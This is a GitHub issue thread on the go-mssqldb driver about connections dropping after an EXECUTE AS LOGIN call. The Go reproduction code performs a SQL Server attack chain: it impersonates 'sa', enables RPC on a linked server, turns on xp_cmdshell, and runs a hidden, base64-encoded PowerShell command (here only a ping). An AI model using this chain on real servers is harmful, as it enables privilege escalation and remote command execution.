denisenkom / go-mssqldb

Microsoft SQL server driver written in go language
BSD 3-Clause "New" or "Revised" License
1.82k stars 495 forks source link

An existing connection was forcibly closed by the remote host. #700

Open patrickhener opened 2 years ago

patrickhener commented 2 years ago

When trying to EXECUTE AS LOGIN = 'sa'; I get the error:

An existing connection was forcibly closed by the remote host.

read tcp [::1]:50112->[::1]:1433: wsarecv: An existing connection was forcibly closed by the remote host.

To Reproduce Basic connection is this:

func (d *db) connect() error {
    var err error

    server := runtimeOptions["server"]
    database := runtimeOptions["database"]
    user := runtimeOptions["username"]
    domain := runtimeOptions["domain"]
    pass := runtimeOptions["password"]

    if server == "" {
        return fmt.Errorf("%s", "'server' cannot be empty. Use `set server <value>` to set it.")
    } else if database == "" {
        return fmt.Errorf("%s", "'database' cannot be empty. Use `set database <value>` to set it.")
    }

    dsn := fmt.Sprintf("server=%s;user id=%s\\%s;password=%s;database=%s;encrypt=disable;", server, user, domain, pass, database)
    d.sql, err = sql.Open("mssql", dsn)
    if err != nil {
        return err
    }

    if err := d.sql.Ping(); err != nil {
        return err
    }

    fmt.Printf("Authentication to '%s/%s' was successful\n", server, database)

    return nil
}

And then the command executed will be this part:

            query := fmt.Sprintf("EXECUTE AS LOGIN = '%s';", runtimeOptions["impAccount"])
            fmt.Println("Impersonating...")
            if err := runtimeDB.exec(query); err != nil {
                fmt.Printf("ERROR: %+v\n", err.Error())
            }

Further technical details

SQL Server version: (SQL Server 2019 Express) Operating system: (Windows 2019)

Authentication

I am authenticating as windows user in this case (local administrator = sysadmin)

patrickhener commented 2 years ago

Working Example

func main() {
    dsn := "server=web06;user id=;password=;database=master;encrypt=disable;"

    con, err := sql.Open("mssql", dsn)
    if err != nil {
        panic(err)
    }

    if err := con.Ping(); err != nil {
        panic(err)
    }

     if _, err = con.Exec("EXECUTE AS LOGIN = 'sa'; EXEC sp_serveroption @server='sql03',@optname='rpc out',@optvalue='true'; reconfigure; EXEC ('sp_configure @configname=''show advanced options'',@configvalue=1; reconfigure;') AT sql03; EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT sql03; EXEC ('xp_cmdshell ''powershell.exe -nop -windowstyle hidden -e cABpAG4AZwAgAC0AbgAgADIAIAAxADkAMgAuADEANgA4AC4ANAA5AC4ANwA2AA=='';') AT sql03;"); err != nil {
            panic(err)
    }

    con.Close()
}

Non Working Example (reproduces problem)

func main() {
    dsn := "server=web06;user id=;password=;database=master;encrypt=disable;"

    con, err := sql.Open("mssql", dsn)
    if err != nil {
        panic(err)
    }

    if err := con.Ping(); err != nil {
        panic(err)
    }

    _, err = con.Exec("EXECUTE AS LOGIN = 'sa';")
    if err != nil {
        panic(err)
    }

    _, err = con.Exec("EXEC sp_serveroption @server='sql03',@optname='rpc out',@optvalue='true'; reconfigure;")
    if err != nil {
        panic(err)
    }

    _, err = con.Exec("EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT sql03;")
    if err != nil {
        panic(err)
    }

    _, err = con.Exec("EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT sql03;")
    if err != nil {
        panic(err)
    }

    _, err = con.Exec("EXEC ('xp_cmdshell ''powershell.exe -nop -windowstyle hidden -e cABpAG4AZwAgAC0AbgAgADIAIAAxADkAMgAuADEANgA4AC4ANAA5AC4ANwA2AA=='';') AT sql03;")
    if err != nil {
        panic(err)
    }

    con.Close()
}